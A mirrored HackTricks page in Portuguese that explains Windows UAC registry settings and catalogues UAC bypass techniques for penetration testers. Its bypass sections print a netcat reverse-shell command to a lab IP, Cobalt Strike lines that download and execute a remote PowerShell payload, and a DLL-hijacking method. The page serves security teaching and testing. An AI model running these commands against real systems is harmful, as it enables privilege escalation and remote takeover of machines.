Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-20 10:03:51 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

20 KiB
Raw Blame History

UAC - Controle de Conta de Usuário

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Use Trickest para construir e automatizar fluxos de trabalho facilmente com as ferramentas comunitárias mais avançadas do mundo.
Acesse hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

O Controle de Conta de Usuário (UAC) é um recurso que permite um prompt de consentimento para atividades elevadas. As aplicações têm diferentes níveis de integridade, e um programa com um alto nível pode realizar tarefas que potencialmente comprometem o sistema. Quando o UAC está habilitado, as aplicações e tarefas sempre executam sob o contexto de segurança de uma conta não administrativa, a menos que um administrador autorize explicitamente essas aplicações/tarefas a terem acesso de nível administrativo ao sistema para executar. É um recurso de conveniência que protege os administradores de alterações não intencionais, mas não é considerado uma fronteira de segurança.

Para mais informações sobre níveis de integridade:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Quando o UAC está em vigor, um usuário administrador recebe 2 tokens: uma chave de usuário padrão, para realizar ações regulares em nível regular, e uma com privilégios de administrador.

Esta página discute como o UAC funciona em grande profundidade e inclui o processo de logon, experiência do usuário e arquitetura do UAC. Os administradores podem usar políticas de segurança para configurar como o UAC funciona especificamente para sua organização em nível local (usando secpol.msc), ou configurado e distribuído via Objetos de Política de Grupo (GPO) em um ambiente de domínio Active Directory. As várias configurações são discutidas em detalhes aqui. Existem 10 configurações de Política de Grupo que podem ser definidas para o UAC. A tabela a seguir fornece detalhes adicionais:

Configuração de Política de Grupo Chave do Registro Configuração padrão
Modo de aprovação do administrador de Controle de Conta de Usuário para a conta de administrador integrada FilterAdministratorToken Desativado
Permitir que aplicativos UIAccess solicitem elevação sem usar a área de trabalho segura EnableUIADesktopToggle Desativado
Comportamento do prompt de elevação para administradores no Modo de Aprovação do Administrador ConsentPromptBehaviorAdmin Solicitar consentimento para binários não-Windows
Comportamento do prompt de elevação para usuários padrão ConsentPromptBehaviorUser Solicitar credenciais na área de trabalho segura
Detectar instalações de aplicativos e solicitar elevação EnableInstallerDetection Habilitado (padrão para home) Desativado (padrão para empresa)
Elevação somente de executáveis assinados e validados ValidateAdminCodeSignatures Desativado
Elevação somente de aplicativos UIAccess instalados em locais seguros EnableSecureUIAPaths Habilitado
Executar todos os administradores no Modo de Aprovação do Administrador EnableLUA Habilitado
Alternar para a área de trabalho segura ao solicitar elevação PromptOnSecureDesktop Habilitado
[Virtualizar falhas de gravação de arquivos e registro em locais por 
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    EnableLUA    REG_DWORD    0x1

Se o valor for 1, o UAC está ativado. Se o valor for 0 ou não existir, então o UAC está inativo.

Em seguida, verifique qual nível está configurado:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
    ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Se 0, o UAC não será solicitado (como desativado)
  • Se 1, o administrador é solicitado a fornecer nome de usuário e senha para executar o binário com privilégios elevados (na Área de Trabalho Segura)
  • Se 2 (Sempre notificar) o UAC sempre pedirá confirmação ao administrador quando ele tentar executar algo com privilégios elevados (na Área de Trabalho Segura)
  • Se 3 é como 1, mas não é necessário na Área de Trabalho Segura
  • Se 4 é como 2, mas não é necessário na Área de Trabalho Segura
  • Se 5 (padrão), o administrador será solicitado a confirmar a execução de binários não Windows com privilégios elevados

Em seguida, você deve verificar o valor de LocalAccountTokenFilterPolicy
Se o valor for 0, apenas o usuário RID 500 (Administrador integrado) pode executar tarefas de administrador sem UAC, e se for 1, todas as contas dentro do grupo "Administradores" podem fazê-lo.

E, finalmente, verifique o valor da chave FilterAdministratorToken
Se 0 (padrão), a conta Administrador integrado pode fazer tarefas de administração remota e se 1, a conta integrada Administrador não pode fazer tarefas de administração remota, a menos que LocalAccountTokenFilterPolicy seja definido como 1.

Resumo

  • Se EnableLUA=0 ou não existir, nenhum UAC para ninguém
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=1 , Nenhum UAC para ninguém
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=0, Nenhum UAC para RID 500 (Administrador integrado)
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=1, UAC para todos

Todas essas informações podem ser obtidas usando o módulo metasploit: post/windows/gather/win_privs

Você também pode verificar os grupos do seu usuário e obter o nível de integridade:

net user %username%
whoami /groups | findstr Level

Bypass do UAC

{% hint style="info" %} Observe que se você tiver acesso gráfico à vítima, o bypass do UAC é direto, pois você pode simplesmente clicar em "Sim" quando a solicitação do UAC aparecer. {% endhint %}

O bypass do UAC é necessário na seguinte situação: o UAC está ativado, seu processo está sendo executado em um contexto de integridade média e seu usuário pertence ao grupo de administradores.

É importante mencionar que é muito mais difícil contornar o UAC se ele estiver no nível de segurança mais alto (Sempre) do que se estiver em qualquer um dos outros níveis (Padrão).

UAC desativado

Se o UAC já estiver desativado (ConsentPromptBehaviorAdmin é 0), você pode executar um shell reverso com privilégios de administrador (alto nível de integridade) usando algo como:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Bypass do UAC com duplicação de token

Bypass muito básico do UAC (acesso completo ao sistema de arquivos)

Se você tiver um shell com um usuário que está dentro do grupo Administradores, você pode montar o compartilhamento C$ via SMB (sistema de arquivos) localmente em um novo disco e você terá acesso a tudo dentro do sistema de arquivos (até mesmo a pasta home do Administrador).

{% hint style="warning" %} Parece que esse truque não funciona mais {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Bypass de UAC com cobalt strike

As técnicas do Cobalt Strike só funcionarão se o UAC não estiver configurado no nível máximo de segurança.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire e Metasploit também possuem vários módulos para burlar o UAC.

Explorações de burla do UAC

UACME é uma compilação de várias explorações de burla do UAC. Note que você precisará compilar o UACME usando o Visual Studio ou o MSBuild. A compilação criará vários executáveis (como Source\Akagi\outout\x64\Debug\Akagi.exe), você precisará saber qual deles você precisa.
Você deve ter cuidado porque algumas burlas irão solicitar que outros programas alertem o usuário de que algo está acontecendo.

O UACME tem a versão de compilação a partir da qual cada técnica começou a funcionar. Você pode procurar por uma técnica que afete suas versões:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Além disso, usando esta página, você obtém a versão do Windows 1607 a partir das versões de compilação.

Mais bypass do UAC

Todas as técnicas usadas aqui para contornar o UAC exigem um shell interativo completo com a vítima (um shell nc.exe comum não é suficiente).

Você pode obter isso usando uma sessão meterpreter. Migre para um processo que tenha o valor Session igual a 1:

(explorer.exe deve funcionar)

Bypass do UAC com GUI

Se você tiver acesso a uma GUI, pode simplesmente aceitar o prompt do UAC quando o receber, você realmente não precisa de um bypass. Portanto, ter acesso a uma GUI permitirá que você contorne o UAC.

Além disso, se você obtiver uma sessão GUI que alguém estava usando (potencialmente via RDP), há algumas ferramentas que serão executadas como administrador de onde você poderá executar um cmd por exemplo, como admin diretamente sem ser solicitado novamente pelo UAC, como https://github.com/oski02/UAC-GUI-Bypass-appverif. Isso pode ser um pouco mais furtivo.

Bypass do UAC de força bruta barulhento

Se você não se importa em ser barulhento, sempre pode executar algo como https://github.com/Chainski/ForceAdmin que pede para elevar as permissões até que o usuário aceite.

Seu próprio bypass - Metodologia básica de bypass do UAC

Se você der uma olhada no UACME, notará que a maioria dos bypasses do UAC abusa de uma vulnerabilidade de Dll Hijacking (principalmente escrevendo a dll maliciosa em C:\Windows\System32). Leia isto para aprender como encontrar uma vulnerabilidade de Dll Hijacking.

  1. Encontre um binário que autoeleve (verifique se, quando for executado, ele é executado em um nível de integridade alto).
  2. Com o procmon, encontre eventos "NAME NOT FOUND" que possam ser vulneráveis ​​ao DLL Hijacking.
  3. Provavelmente, você precisará escrever a DLL dentro de alguns caminhos protegidos (como C:\Windows\System32), onde você não tem permissões de gravação. Você pode contornar isso usando:
    1. wusa.exe: Windows 7,8 e 8.1. Ele permite extrair o conteúdo de um arquivo CAB dentro de caminhos protegidos (porque essa ferramenta é executada em um nível de integridade alto).
    2. IFileOperation: Windows 10.
  4. Prepare um script para copiar sua DLL dentro do caminho protegido e executar o binário vulnerável e autoelevado.

Outra técnica de bypass do UAC

Consiste em observar se um binário autoeleve tenta ler do registro o nome/caminho de um binário ou comando a ser executado (isso é mais interessante se o binário procurar essas informações dentro do HKCU).

Use Trickest para criar e automatizar fluxos de trabalho com as ferramentas da comunidade mais avançadas do mundo.
Obtenha acesso hoje:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥